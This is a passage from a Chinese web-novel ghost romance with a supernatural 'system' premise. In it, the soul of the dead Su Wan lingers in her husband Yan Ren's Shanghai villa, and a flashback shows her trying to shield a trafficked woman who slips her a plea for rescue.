苏婉生前最懂这规矩,她永远垂首敛目地打点着这个别苑,整个人却比尘埃更沉默。
她像一幅刻画在屏风上的工笔画,融入以他为主的背景。
专注,不是一个坏的习惯,有时候成功就需要这样的专注力。
他离开宴家单干,从一个小小的投资人到如今在上海,一人足以和宴家叫板,凭的正是这般摧枯拉朽的狠劲。
可情场不是交易所,偏执的行为,无法用到亲密关系中。
宴刃松开眉头,将衣袖卷至肘部,露出被煤星烫伤的旧疤。
他从地窖离开,再次回到阁楼,逐渐熟练地侍弄着画具,他擦拭苏婉最后一幅画时,指尖总会不自觉地抠那抹未完成的深浅远山。
碍眼。
—————分隔线—————
"明明楼下书房还堆着三份并购案急件……他却在别苑整理遗物?"
系统疑惑说道,一扭头发现身边多了一个人影,整个光球都开始狂闪,吓到统了!
"宿主怎么徒手就将苏婉的魂从阁楼里拽出来了!"
"顺手的事。"青山揉了揉手腕,漫不经心道,"管宴刃干嘛,你都说他发疯了,精神异常做什么很正常。"
系统把宿主的话记录下来,也是,不能要求病人正常。
"那我们先不管他嘛,可宿主你把苏婉魂魄拘出来做什么?"系统在苏婉身体中来回穿梭,哎呀,这苏婉呆滞得一点反应也没有,好没意思哦。
"我会让她再次活过来,权力能改变一个人到什么程度?她的心软到底是慈悲还是软弱?"青山抚摸陷入沉睡的灵魂,吩咐道,"保护她,别让她散了。"
系统乖乖地将自己的保护卡插到苏婉的魂魄中。
触碰的地方泛起一阵0与1的数据蓝光,一个浅浅的蓝色保护罩形成。
苏婉被笼在球形屏障里,像个发光的小礼物。
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苏婉才刚从混沌中被带出来,灵魂的力量十分弱小,忽地弓身剧咳,绣帕掩着的唇角溢出点点血沫。
咔嚓——世界意识又碎了一块。
"咳咳...咳……"
喉间扯出破风箱般的嘶鸣,苏婉本能地蜷进阴影里。待喘息稍平,才怯生生望向阁楼中的宴刃。
宴刃正踩着吱呀作响的梯子拆窗纱,浑然不觉身后飘着亡妻魂灵。
他看不到她。
苏婉这才迟钝地想起,自己好像死了,那她现在是什么?
她太习惯看向宴刃,他讨厌咳嗽声,所以她习惯压低声音,龟背竹叶片,绿萝、虎尾兰、月季,除了好看还能吸音。
窗内窗外都是绿植,榉木匣里还整整齐齐码着一沓沓的手帕。
残魂无意识扩大生前的行为,那些烙印在灵体上的习惯那么突兀。
隐藏、垂目、屏息,仿佛这般便能化作背景画,安静得教人忘却——啊,她原是生病的人。
病人的手帕又大又厚,可以牢牢地压制住她的咳嗽,将咳声闷成呜咽。
憋气得让她胸疼,那哪怕如此,这个病人也总尽力让自己表现得像个健康人,只为了不打扰到别人,不让人觉得她麻烦。
她害怕那些谴责的目光,可那些眼光总是追随她。
无论怎么躲,都逃不掉凝视。
苏婉出生在一九八八年的宝山县,她出生那天在下着小雨,母亲将她的脐带埋在了屋子外头。
因为她是女孩,一旦长大了,就会离开娘家,成为外人,没有必要把一个外人的脐带留下来。
可她不仅是个女孩,还啼哭细弱,有先天性咳疾,所以自从出生开始便不受欢迎。
她的存在便成为原罪,以至于连呼吸也是难以宽容的过错,只能不断的退让。
—————分隔线—————
青山拽过苏婉瑟缩的魂魄,伸手擦去她咳红眼眶下的泪痕。
"苏婉,你生病了,所以喘不过气时就该喊难受。"
苏婉茫然看向另一个灵体,在看见的刹那,她便明白,她看见了神明的化身。
"这世界容得下黄浦江的汹涌。"青山捏诀在她眉心烙下金印,"怎会容不得你一声咳?"
上海那么大,不想听的人有脚,自己会走开。
让一个生病的人,忍耐自己的病痛?
苏婉不是自己想要出生的,她是被父母带到这个世界上,却没有被好好对待的孩子。
苏婉魂魄随着印记融入而泛起暖意,像是有人往她冰凉的灵体里塞了团裹着太阳的棉絮,鼓鼓囊囊地填满她的魂魄。
"所以下一次在呼吸喘不上来的时候,要记得说,救救我。"
苏婉随着她的声音呢喃,灵体泛起海棠色的光晕,记忆还没有完全恢复,灵魂在哀鸣,她有要祈求的事情。
她抓住青山的手,下意识道,"对不住……"
"她现在灵智不过幼猫水平。"系统蹭着青山耳垂,"听不懂的。"
"种子总要发芽,会有明白时。"
青山松手化作流萤消失,唯有铃声轻响残留。
—————分隔线—————
苏婉左顾右盼,慌乱地翻找。
画案、书桌,甚至连木盒都掀开,更用眼睛凑到笔筒上查看,仿佛偌大的神明会缩进紫檀笔筒里去。
阁楼光影诡谲,苏婉发梢掠过宴刃颈侧时,宴刃的袖口刮过她的旗袍,两个维度的生灵在同一个空间中穿梭,不知不觉中,魂魄沾染了对方的气息。
"!"宴刃倏地停手,他死死盯着楼梯转角——素色旗袍一闪而过,手中的窗纱散落一地。
"见鬼……"他喉结滚动的声音惊醒了神明。
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"咦……"青山绕着僵立的男人踱步,"他看不到我,怎能看到苏婉,"
"宿主你用聚拢爽灵的纯氧拘出苏婉,那可是它界神明的力量,苏婉不过普通魂魄,神明带来的外显能量当然会被宴刃察觉。"
"真有趣啊……"
—————分隔线—————
同一时间,苏婉也在感叹,真有趣啊……
她透过自己半透明的手指,窥见别苑外自行车叮当骑过,发着传单的人影晃动,远处深浅光点明灭。
她模糊记得自己困在此处许久,待踉跄迈出别苑铁门,惊觉她连路上一排排的梧桐树都觉得陌生。
她下意识低下头检视穿着是否齐整,是那件她很喜欢的杏色旗袍,正欣喜时,脊背陡然窜上一股寒意。
她回首,宴刃不知道什么时候跟了出来,眼神似要刺穿她灵体。
她下意识低头,而后察觉出来了不对,他的表情看起来有点难过?
她从未见过他用这样难以
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表述的目光看着自己。
宴刃是难容忍自己的存在的,共处一室时,他总蹙着眉避开她,仿佛多看她一秒都是虚掷光阴。
所以她与他必须碰面的时候,总伴随着不愉快。
这么想着,熟悉的窒息感又缠上她,胸闷的压迫感让她眼前一阵阵发黑,她仓促躲在旁边店铺的廊柱后,遮挡自己的身影。
宴刃脚步声急匆匆赶来,又停在咫尺,呼吸声乱得反常。
苏婉闭上眼,假装一切都不存在,反正她死了,怕什么?
"装模作样。"宴刃咬牙巡视,在最开始的错愕后,他第一时间就是有人在装神弄鬼。
他一定要把那敢骗他的人找出来,敢对他用这些歪门邪道?
就连苏婉也没有让他心软过,她先天不足的体质是她独有的闺阁手段,妄图她的咳血能化作愧疚的锁链,拴住他这个丈夫。
宴刃最恨被人拿捏,从未让苏婉得逞过。
他四处张望,疾追而去。
可那窈窕的人影转眼混入人群,他再怎么凝神,也丝毫没有她的踪迹。
待心悸稍缓,苏婉扶柱望他离去的身影。
"应该是假的吧……"她端详自己透明的指尖,"活人怎会看到我?"
她总觉得自己得往外走,所以下意识逛起夜市,穿梭在热闹烟火气中。
而他揉着抽痛的额角冷笑,又开始怀疑那身影是连日失眠产生的幻觉。
不然,若是梦中可能是她在托梦,但现在他还醒着,怎么可能能看见苏婉?
她还能变成鬼不成?
真是幻觉?是幻觉吗?他为什么会有这样的幻觉?
苏婉不对他笑,她甚至很少出现在他的眼前。明明两个人住在同一栋楼,却那么泾渭分明。
她苍白的脸掩在厚帕下,咳喘时肩胛骨颤如将折的蝶翼,还有眼尾那滴要落不落的泪,都惹得他焦躁。
她啥那般矫揉造作,但哪怕如此,他偶尔,也会觉得…她是真的很难受。
念头刚冒出来就被宴刃掐灭,他就习惯性地皱起眉心,阴霾地扫过街道。
她在演,佛口蛇心的伎俩他见多了。继母当年便是这般,与他争执时,帕子上胭脂染的咯血永远恰到好处,总因为他三言两语而落泪,哄得父亲与自己离了心。
那时候他还小,羽翼未丰,被继母玩弄于五指之间。
从那时候开始,他就决心再不会落入别人的陷阱。
苏婉的惺惺作态,在他眼中可笑之极。
他去她家下聘那天,她立在苏宅檐角铜铃下,琥珀色瞳仁里像漾着煨过火的蜂蜜水,看着他的目光暖意满满。
她那时,用帕子掩着咳喘说,"阿宴哥哥,这天好冷,来的路上雪粒子硌着你了吗?"
他没有踏入她的小院,她追出来,手中灯火映出她冻紫的唇色,"阿宴哥哥,我……"
"聒噪。"他冷呵斥,连愠怒都仿若父亲当年的模样。
自此,众人皆知她不得他心。
他厌恶这一场联姻,命运待他如此可笑。
那无法向上刺去的利刃,反折贯穿下位者的脊梁。
最讽刺的。哪怕他丝毫未留情面,离开苏家那时,她还是当着父母的面,笑着说,"是的,阿宴哥哥很好。"
虚伪至极。
后来他自立门户,搬来别苑,也故意由着继母派来的婆子磋磨她。
她固执地来到他的身边,自然要承受代价。
此时此刻,檐角玻璃灯与霓虹灯条将夜市照得通明,也照得鬼魅乱影。
宴刃在稠密人潮中跌撞前行,接连撞歪了三个摊位后,终被商贩揪住衣领。
"你找茬呢!"
5. 第五章 苏婉4
络腮胡汉子搡得他踉跄,"这么大空地不够你蹦跶?"
宴刃神思恍惚地凝着虚空,对质问始终缄默。
窃语声在人群里荡开涟漪。
宴刃扯开鳄鱼皮钱包,银钱泄愤般砸在他身上,"够不够?"
钞票银圆哗啦落了满地,闪瞎路人的眼。
"晦气。"络腮胡汉子蹲下捡钱,耳根通红。
宴刃推开人群疾冲,他刚才又瞥见那件杏色旗袍,她很少出门,他得把她找回来才行。
是了,她前两日没回魂,但…今天似乎是头七?他这两日喝得酒气上头,记不清了,但应该是头七,头七回魂,她该是回来看他了。
外面多危险呀,偏这傻的,连求救都不会。
想不通,她为什么不求救……
宴刃手背青筋暴起,鹰视四顾,扫视路人,是雨天湿滑?还是咳疾又犯了?
那疯子跟踪她月余了,她但凡在他面前提一下。哪怕是只言片语,他也会派人护她。
可偏偏……
陌生钝痛突然绞住心肺,他闷不作声回头望,夜色里两进院的洋楼静默,如冰锥入骨。
是否她根本没有想过要找自己求助。
她不相信自己。
陌生的窒息感,袭上他的心头。
她向来最怕给人添麻烦,初到别苑那两年,继母挑剔苛责,她常要熬到深夜才能睡下,天未亮又得起身张罗。
她那本来就不健康的身体,在这样的磋磨下愈发不济。
某日,宴刃破天荒说了句,"你可以拒绝她。"
但苏婉说,"我做得好些,母亲便少些由头为难你。"
她累得咳疾常犯,那端着青瓷药碗的腕骨伶仃得像要折在碗沿。
可那天,她说这话的时候,显出几分执拗的稚气——仿佛这般能证明什么。
能证明什么?!
宴刃嗤之以鼻,苏婉非要在自己思维里面钻牛角尖,他可是劝过你,她不听,活该她受着。
此刻他疾步穿行在迷离人流中,路过的巷子口,那暗黑深处骤然探出几双粗壮手臂,猛地扯过他的西装。
当宴刃被掼在巷子神殿处的青石板上时,西装内袋的鳄鱼皮钱包已落入歹徒掌中。
"有几个臭钱了不起?"为首的壮汉啐了口痰,破布条勒进他脖颈,"哥几个教你什么叫财不露白!"
拳头混着棍棒砸下,宴刃充血的眼瞳死死盯着巷口。
杏色旗袍掠过,苏婉正踩着绣花鞋踏过满地灯火,又一步步没入熙攘人群。
一步步地远离他。
血珠顺着眉骨滚进右眼,将那个渐行渐远的背影染成猩红。
"滚开!"他口中腥甜,激出浑身蛮力。
三个壮汉竟被他撞得踉跄,宴刃疯子不要命似的扑向巷口明灭的灯影。
歹徒凶性大发,棍棒雨点砸向他的肋下。
"别拦我!"
宴刃发疯般挥拳嘶吼,目眦欲裂的模样宛如困兽,拳脚毫无章法却招招搏命。
她走了,他要追不上了!
"哔——哔哔!"
夜市安保人员的铜哨声姗姗来迟,巷口人影响动……
宴刃蜷在暗巷的潲水桶旁,血污与油渍浸透手工西装,视野逐渐暗淡。
当安保赶到时,那些胆大妄为的袭击者早已跳得不见踪迹,只余下满耳慌乱声。
……
宴刃躺在床上,四肢钝痛、高热与黑暗交织成网。
混沌中仿佛回到那年,他在祠堂对继母挥拳被父亲撞见,父亲愤怒的冷声吩咐,他佣人抓着被押入祠堂。
家法藤条抽裂绸衫,青砖上的寒气渗进膝盖骨,他的头颅也痛得裂开,他病了。
苏婉也被押着跪在牌位前,但她始终垂着头,不争不辩,仿佛真是他共犯。
入夜后高烧来得凶猛,他烧得神志不清,趴在蒲团上,拳头死死攥着。
温软忽触额头,是苏婉偷拧的手帕。
"没事的,很快就好了。"
她蘸着热水擦拭他咬伤的唇,满是血迹的少年背。
十六岁的她还没那么守规矩,偷偷去厨房取热水,哼着民间小调熬过漫漫痛苦长夜。
他比她年长三岁,却被她当孩子哄。
那时,她们都清楚,她们被各自的家族遗弃在这方寸之地。
苏婉用钱贿赂佣人买来伤药,宴刃趴在蒲团上任由苏婉照料他背上的鞭痕。
为什么呢?
他想……或许,苏婉那时候还恪守着自己未婚妻的本分,在认认真照料未来的丈夫。
他在混沌中分析她的处境,苏婉自小得不到重视,苏家生怕她把病气过给幼弟,连团圆饭都只许在偏厅用。
在自己到适婚年龄后,便急不可耐地将她塞进宴府,早早让她住在夫家。
说是希望她可以早一点培养感情,但是她们都知道,那不过是把她扔下的理由。
因为她咳血咳得凶险,几度濒死,她死了,那就会恶了与宴家的联姻。
苏家每况愈下,要是联姻的利益交换不再作数,不等苏家倒下,豺狼们会一口一口地把苏家这个地主吃掉。
苏家怕,所以苏婉只能准备好自己的行李,拎着包袱就随他走。
夜深露重,她擦拭他伤口的手在抖,声线却稳得像祠堂梁柱,"阿宴哥哥,我会做个好妻子。"
宴刃很少回顾从前,四年的时间过去,他早已挣脱家族桎梏,那些年少时候的苦涩离得太远了。
但偏这疼痛让他想起,那一天,那一点点擦拭的温柔,那滴落在他床上的汗珠,以及她渐弱的话。
她的声音越来越小,小到几乎没有,可是在彻底安静的夜里面,他还是听到了。
他听见有细若蚊呐的哽咽说,"我想要个家。"
月光漫过窗棂,他瞥见她闪闪发亮的眼神,瞥见她一次次地弯腰,又拧干手帕。
她那时候,看起来,非常期待未来。
……
记忆如一层又一层浸透冰水的白纱,覆盖上呼吸,让他喘不过气。
宴刃猛然睁眼,窒息的黑斑残留在视网膜,恍惚过后,他才嗅到满屋药味。
而就着药味,他仿佛又看见那袭杏色旗袍消失的残影。
"您可算醒了。"陈见捧着药盅凑近谄笑,他管着宴刃的公司,说是主任,实为宴刃的心腹,专干里外奉承的伙计。
"中药味?"
宴刃阴鸷如刀的目光刮过青花药盅。
"大夫说您心脉瘀滞…除了外伤之外,额外多开了几个中药方子。"
陈见委婉道,"无论如何,您的身体最重要,不少的人都盼望着您去她们那散心呢,何必为了一个死人郁结?"
"郁结?"宴刃像是听到了什么荒唐的话,他嗤笑着挥手砸了药盅,黑黢黢的药汁泼在木地板上。
这些中医都是一群赤脚医生,这些东西有什么用,远远不如西方几颗小小的胶囊来得立竿见影。
腌臜玩意!
他气得胸口发颤,他现在的生活还有什么好郁结的?!
苏婉死了以后,宴家最后能够拿捏他的东西已经不存在了,他畅快得很!
陈见使眼色让佣人重端药碗,他自五岁就跟在宴刃身边,此刻却读不懂宴刃眼底翻涌的暗潮。
只得另起话头,拿出书桌上的账册递给宴刃,"这是法租界新送来的账册,您对对,还有夜市遇袭案的调查……"
宴刃的心思完全不在工作上,他的视线凝在木地板上。
这满屋的药味,苦得舌根发麻。
他在看,褐色的液体是如何在地板上蜿蜒成河,像极了那天苏婉流的血。
他鼻尖残留涩意,唇角扯起又压下,像坠了秤砣的帘子,永远往下。
总觉得……
总觉得苏婉应该在这里,对他这般不爱惜自己的情况,说些什么。
宴刃浑身一颤,这念头令他倍感耻辱。苏婉分明是宴家拴在他脖颈的最后一根锁链,如今锁链已断,他该去祠堂放鞭炮庆贺才是。
让宴家好好看看,她们当初做的决定全是错的。
"备车。"宴刃忽然扯动唇角,"去老宅看看继母,我要看她那痛哭流涕的老脸。"
宴刃边嗽边冷笑,廊下阴雨蔷
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薇的老枝突然折断。
他无须郁结,有更该郁结的人。
都是她们的错。
"今天的冬天有点太冷了,您又受伤,还是多注意身体……"陈见小声劝阻,却拦不住宴刃执意。
宴刃起身换衣,他系好领带,金质怀表滑入西装内袋,又成了端正体面的摩登先生。
是啊,今年的冬天,怎么能这么冷呢?
陈见悬着的心落回肚里,他太熟悉这样的宴刃,熟练地收拾宴刃脱下的睡衣,他打趣道,"苏小姐若还活着,那咳疾得咳得更凶,死了更好,少受罪。"
陈见自认为了解宴刃,从不觉得苏婉特殊,以至于连她的死亡都可以拿来调侃。
话音刚落便浑身发冷,宴刃笑容消失,森然地盯着他。
可半晌后,他声更冷,"是啊,若是她还活着,这个冬天也会冻坏她,"
"我不会。"
刚到门口的苏婉下意识应答。晨光穿透她半透明的身躯,脚下空荡荡没有影子。
天亮了,她不敢继续待在外面,只是没想到回来后撞见鼻青脸肿的宴刃,她们还在说她坏话。
什么啊,仗着旁人瞧不见自己,苏婉收敛躲人的坏毛病,矜持地昂首绕过两个晦气男人,轻快地飘上阁楼。
她的房间多美呀,绿萝抽了新芽,毛笔正晾在窗边,就连她常用茶壶都在晨光里泛着温柔的光晕,似乎知道真正的主人归家。
苏婉退去绣鞋陷入软榻,黑甜梦乡裹住魂魄前,她恍惚看了眼正抽芽的绿萝尖。
现在还是冬天吧?
抽芽?
—————分隔线—————
"她现在是鬼,白天睡觉正常吧?"系统蜷在青山的肩头,懒洋洋打了个哈欠。
"是吧……"青山轻声回应。
"那我也是…正常的。"系统在此处插了个眼,等以后回顾。
也不知道从什么时候开始,他这个科技产物居然需要睡眠了。
"系统,你知道吗?"
"宿主?"
"生与死的界限其实很模糊,人是鬼的幼年体。"
"那死亡是什么?"
"死亡是鬼的成年礼。"
"哇~那岂不是说,苏婉现在是第二次成年?她回来是不是说明男女主还有机会?人鬼情未了?"系统飘起来,一闪一闪的激动坏了。
青山悬在沉睡的苏婉旁,笑意盎然,"机会?当然是有的。那你可要好好想想,苏婉这孩子最怕给人添麻烦,为何会理所应当回来?"
晨光穿透苏婉半透明的魂魄,她晶莹得像一块黄宝石,熠熠生辉。
系统连忙翻阅剧情,试图从细枝末节中找出线索。
"可能...这里是她认知中的家?"
"家?苏婉与柳依依说要与宴刃当同窗,便真把别苑当宿舍,阁楼是她的房间,她早就交好房租了,既然不欠宴刃,自然会回来,与家无关。"
光球爆出乱码,"那宴刃的情意…算什么?他嘴上说不爱,行动却那么在乎苏婉……"
"在乎就是爱吗?"青山伸手捏住系统把玩,光球明灭不定,"不能是占有欲,嫉妒?"
"?"
"表象只是表象。"
"?"
系统继续翻剧情,核心处理器过载,整个球体晕沉沉。
"他嫉妒快要发疯了。他嫉妒苏婉能放下,与苏家划清界限,也能不愿沾他半点好处。他嫉妒苏婉怡然自得,嫉妒她怎么没像自己般陷落情绪深坑,更嫉妒她不肯与自己共沉沦……"
"啊。"
"他呀,对苏婉怀有着哪怕碾碎骨血也不肯放手的独占欲望。"
"……"
"你要把这种感情唤□□吗?"
"……"系统悄悄在笔记中记录,这些是爱吗?
青山垂眸凝视苏婉的安恬睡颜。
苏婉这澄清柔和的性子,和谁在一起,都能把日子过得花团锦簇。
可宴刃呢?他敢不敢向所有人坦诚,将保险箱里那些霉斑点点的当票摊在日光下,让全上海都瞧瞧,他用来投资的启动资金是怎么来的?
6. 第六章 苏婉5
别苑的铁门打开,黑色轿车轰地冲出,驶向远方。
系统反复模拟剧情,一次,两次,三次,在相同角色的情况下,每一次都走向死亡,结局始终无解。
蓝色的玻璃小球在悄然无息在青山掌心浮现,绿色的光已经从裂缝漫延、侵袭、吞噬,将整个球体透出绿意。
"既然模拟不出,就推翻重写,让苏婉成为第一性,成为真正的主角。"
青山倚着窗台,目送车辆远去,"原剧本没人愿意出演,何必留着?"
说着,指尖弹动小球,世界意识再碎!
沉睡的苏婉魂魄愈发凝实,屋内绿植已骤然挺立,连窗边的枯枝都断裂枝丫,爆出新芽。
"变得更强大吧。"
青山闭眼,她感知道生命的渴求,她们亟待绽放。
—————分隔线—————
宴刃回老宅,闹得鸡犬不宁,父子吵得眼红筋暴,险些动手。
宴老爷手杖哐当砸地,颤抖着手指向门外,"孽障,滚出去!"
宴刃冷笑钉在原地,他不动,其余人也不敢动,僵持到暮色四合,宴刃膈应所有人才驱车返程。
他坐在后座,天空泛着的火烧云将整个天空的蓝色烧褪。
可见过的人都知道,那火色就算是烧得再猛烈,也会有退去的那一刻。
漫长的黑夜会再次铺满整个天空。
路边的人家一盏一盏地点起了灯火,草丛的萤火虫也亮起了尾灯。
到别苑了,宴刃下车仰头看向阁楼,阁楼那抹杏色身影察觉目光般化作烟云,眨眼消散。
他指尖离开冰凉的镀银门把。
他想,应该是幻觉。
记忆中,除了最初那段时间,她再也没有迎接过自己回家。无论是早也好,是晚也好,就连院中四季青受她照料都比他多。
但是,一开始不是那样的。
急促的脚步碾过雪粒子,碾碎过往。
那时候,是他不要的。
是他不要苏婉的。
咯噔一声,宴刃皮鞋踩空滚下楼梯,定制西装绽了线,手肘膝盖渗了血,整个人狼狈不堪。
陈见停车闻声赶来,见状倒抽冷气,"您没事吧?"
"哎哟,怎么非要上阁楼,死了人的地方多晦气!"
陈见念叨着,"要我说,就该把这个别苑租出去,您再买栋更好地住着,也省得总是遇到这些糟心事。"
他觉得最近发生的倒霉事都是苏婉带来,言辞里带着深深的埋怨。
苏婉揪着衣襟站在楼梯上,眼神中透着两分惊惶——刚刚…宴刃是想要抓住她才失足坠落?
她死了,现在应该是鬼?鬼会有被触碰的感觉?
"闭嘴!"宴刃厉声喝止。
疼痛唤醒了他的理智,他一瘸一拐地挪回客厅沙发,仰躺着揉搓太阳穴。
水晶灯亮起,璀璨光芒在吊饰间流转,她是幻觉,又是幻觉!
宴刃目光空洞地望着院中的树,那棵树是什么品种的?是招魂槐树吗?如果不是,他为什么总是看到苏婉的残影?
淤青的钝痛与擦伤的灼烧,这时候都好疼,疼得他眼眶发酸。
陈见被训斥后默不作声拿药为宴刃包扎,不敢惹他生气,悄然离开。
宴刃支起疲惫的身体,踩着木楼梯再度攀上二楼,他按开电源,将阁楼一盏灯一盏灯地点亮。
直到灯火通明,像极了他以前每天能看到的那样。
过往,苏婉还在的时候,暮色初合阁楼便亮起满室暖光,融融暖意的屋子似融化窗外积雪。
是了,正如她本人,总让初识者都本能趋近那抹暖温软。
她哪怕只是画下一枝花,也能让人嗅到春天。
最后一幅画还没画完,她走不安心,所以留在这里了吗?
宴刃推开卧室门,窗户大开着,风卷着雪往屋内飘,没有一丝丝暖意。
她在这里的时候也那么冷吗?
他仰望过这虚假的明亮。
可无论他再怎么看,苏婉从未察觉他的注视。她在阁楼里作画、养病、收拾旧物的时光,远远超过与他相处的时间。
他来得太少,以至于连陌生都是一种熟悉。
没关系,他从来不屑了解她。
可此刻,他坐在了她的凳子上,看起来像是淋了雨的落水狗。
宴刃只觉满眼荒唐,某种熟悉的心绪谩上心头。
后悔吗?如果那天没有带她去霞飞路的沙龙就好了……
……
霞飞路寒风凛冽,梧桐枯枝隐在法租界建筑间,人群中偶尔会有金发碧眼的人路过。
外资主办的沙龙会在欧式公馆内开场,报童也在车流中穿梭叫卖,所有的迹象都在说明,这里是上海最繁华的地区。
一辆黑色轿车停下,穿着笔挺的门童推开鎏金门,黑胶唱片优美的旋律与流光溢彩的穹顶风光同时向着客人倾泻而出。
苏婉下车扶着宴刃的手臂下车,她身着墨绿丝绒旗袍,裹着狐毛裘披肩,好奇地看向四周。
宴刃大步流星,未给苏婉留下观察的时间。
她被带着快步略过街道跨入公馆,彩玻璃窗折射霓虹幻影铺面而来,琥珀色酒液在水晶杯荡漾耀眼,俊朗的侍应生穿梭在人群中,满眼都是顶级的奢靡浮华。
她惊叹不已,走马观花随宴刃登上旋转楼梯,未至宴会厅就看见香港集团代表低头点燃雪茄。
烟雾后两人目光相接,他扫过她,她视线落在他身前的桌面上放着的浦东地块规划图。
再往前,珠光宝气的夫人与上海纺织局官员夫人轻声交谈,话题从金陵东路老洋房改造延伸到合资厂的配额。
宴刃自然而然地融入了进去,苏婉被夫人团也笑吟吟地接纳。
哪怕她们素不相识,也能生人碰杯,相谈甚欢,话头抛来抛去,从无冷场。
在沙龙持续四个小时后,众人都渐显疲态,所以在那个女人闯入的时候,没有人反应过来。
那感觉很奇妙,在那个女人出现之前,苏婉感觉头顶的水晶灯流苏震颤了下。
她有些难受,陷在紫檀圈椅里轻咳,正用手帕压着声音,疑惑着抬头看了眼水晶灯。
灯安稳着呢,她又扭头看向窗外,菱花窗凝着冬日薄雪,外边的街边悄然泊满车辆。
再回首,就看见一个穿男士衬衫的女人跌撞着爬上旋梯,哪怕过长的袖管盖住她的手指,也藏不住布料缝隙布满鞭痕的肩膀。
女人散发着逃笼困兽般的惶恐,她的每个毛孔都在昭示着逃亡者的身份。
女人的出现太突兀,原本火热的场子瞬间冻结,男人们交换着阴鸷眼色,太太们将惊呼咽下,唯有手中香槟杯气泡无声破裂。
刚才众人的甜言蜜语也好,巧言令色也好,一瞬间全部失去,香港集团代表冷声道,"这样的人怎么会出现在这里,会所安保是摆设么?"
"求求诸位老爷夫人救救我!"
女人崩溃大哭,她栽跪在柔软地毯上,额头一次次重重磕地,却被地毯吸去声音。
"你们快些带走她,哪能任由她在这里胡闹!"有人呵斥楼下的保安。
苏婉站起来解开自己的狐裘披肩,她身旁夫人手中团扇坠地,翡翠挂坠碎裂迸出脆响。
苏婉越过人群走上前,她双手用力,将狐裘抡成了一个半圆,如翅膀般覆上女人颤抖的肩。
"……"苏婉牵起那双冻出青紫的手却不知道如何安慰她,女人瑟缩在她的影子中走进光鲜亮丽的宴会厅,周围的人倒抽一口凉气,下意识退开两步。
楼下吵闹起来,嘈杂军靴声涌进,闯入者襟口铜制鹰徽反着光,她们听到耳边传来人们的松懈的叹气声。
"小婊子跑得比鱼还快,挺滑溜啊!"军官后腰隆起的枪托几乎撑破军装,满口烟渍黄。
随行的兵痞一脚踹折安保肋骨,瓷盘碎裂声混着侍应生惨叫炸开。
不多时,几人冲上楼,为首军官阴鸷的目光死死钉在发抖的女人身上,喉结滚动,咽下失算的狼狈。
军官大刺啦地上前伸手拽人,苏婉张开手臂,护在女人面
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前。
"这里是租界公馆,不是你能随便动手的地方。"
苏婉咳嗽间嗅到他衣襟上浸着劣质的酒气,双脚发颤仍直视他泛着醉意的眼。
军官目光掠过冷着脸的贵妇们,瞳仁猛地收缩成针尖,糟了,今日在座的尽是租界供着的财神爷。
捅大娄子!
"她偷了咱们部门的机密文件。"军官拔枪,抵在苏婉眉心,"你要包庇最罪犯?担得起责吗?"
苏婉脖颈后仰,面对枪口浑身紧绷。
"我不是罪犯!"女人哭喊着蹲下身,满是恐惧,"她们把在路边的我打晕掳走关押起来,她们是人贩子!"
"你胡说什么呢!"军官眼中满是血丝,伸手就要把苏婉扯开。
苏婉往前一步,抬手按住枪管。"咳咳,先生,请小心武器,我很容易死。"
军官青筋暴起,这人那么干脆拿命和他玩?
苏婉寸步不让,"她既然犯法,我稍后自会送她派出所,不劳先生脏了这地。"
宴刃上前抬手按住枪管,站在苏婉身侧。
军官额头上渗出汗珠,按在枪上的手指挪动,下压扣……
"等下!"沙龙老板匆匆赶来,笑意不到眼底,"宴太太何苦护着个小偷?"
众目睽睽下,老板转向宴刃,"给个面子?"
苏婉也看他,他弹落了半寸雪茄灰,火星明灭间与她对视
"我说了,她既然是犯人,我稍后会送她派出所。"苏婉坚定道,"如果这都不让,那就是你们有别的目的。"
宴刃的手顺着枪管往前滑过她手背,将她扯过来禁锢在怀,低声道,"别闹。"
全场瞬间松弛的吐息中,苏婉急看向那女人,对上她惊恐又安慰自己强笑的脸。
知道苏婉护不住她,女人强撑着站起来,局促将身上的狐裘塞在苏婉怀里,踉跄着被军官拽走。
经历过这种事情,沙龙也没办法继续办下去,众人端着最后的礼貌,匆匆散场。
苏婉也地被宴刃扯回到车上,他指间的雪茄点燃了整路。
苏婉攥着狐裘咳嗽,脸上满是呛出的泪珠。
"……"宴刃不悦的撇了她一眼,眼底结着霜,"你刚才的胆子真是大。"
陈见打方向盘插话,"苏小姐又惹麻烦了?"
苏婉垂眸掩住眼底波澜,嘴唇微动,又无力的闭上。
惹麻烦?那样一个活生生的人,不值得救吗?
"你们女人就是没见识,她身上的衣服可不是什么大路货,水深得很,谁知道背后是什么人在操盘?你今天把人带走,就动了别人的利益,背后错综复杂的关系是你理得清的?"
苏婉不了解外面的事情,见宴刃发作,只能点头,柔顺垂眸。
"真能给我惹麻烦,回头还得为了这件事送礼补漏。"
苏婉对上他冷冽目光,"你最好有点自知之明,别做出超出自己职责的事情,不然别想再出门。"
苏婉又点头,手掌死死攥住狐裘。
轿车驶向别苑,两人一路无话。
她回到了阁楼,翻出藏在狐裘里的硬物,那是一个纸团。
上面的钢笔字迹尖锐潦草。
【我们被关在霞飞路37号小红楼,这里有十四间房,每个门口都有军官把守。二楼窗户焊着铁栏杆,楼下栓两条黑背狼狗,我们逃不出去。
每日会有人被官兵带人进房,逼我们做见不得人的事。我隔壁关着个被打断腿的四川姑娘和苏北姑娘,她们的情况很糟糕,求看见这封信的人救救我们!】
纸张上十几个带血的手印洇透纸背。
苏婉恍然,这是早已经写好的求救信,那个女人跑来沙龙,而不是去乡野荒地更好逃跑的地方,是因为只有那才会有识字且心善的人能救她们。
那个女人从头到尾都没觉得能逃掉,她只为递出这封信,才装作恐慌的冲入宴会厅。
苏婉捏着信发抖,此刻那座37号小红楼里会发生什么?
她闹出这样的动静,还能活着吗?
7. 第七章 苏婉6
那女人还能活着吗?
她不知道来不来及。
但她想救她们。
……
苏婉想起来了,她得去救她们。
她抚平心口起伏的波澜,想到那日神明降临,恍觉她或许不是鬼?
似有灵光炸开,苏婉自醒来后,第一次那么认真地凝视眼前这个男人。
他卷缩在椅子上,像落水狗般狼狈。
他看起来好难过,是缅怀的爱吗?
可她关于他的记忆,只有冰冷与痛苦。
那种感觉是什么呢?
就像是把一个人赤裸地埋在雪里,雪先是松软的颗粒,被身体捂成冰壳后变硬,其次是冷,冷到骨头缝疼,最后变成神志不清的热,烧得脑子发昏。
他真好看呀。
宽肩窄腰,剑眉星目。
她是爱过这个人的,认认真真把他当成丈夫看待。
可或许是她偷学的东西太多,知道什么叫做自尊自爱,渐渐的没了那种想要靠近他的冲动。
苏婉转身,踩着急促的步伐下楼,她没有时间了,她得去救她们!
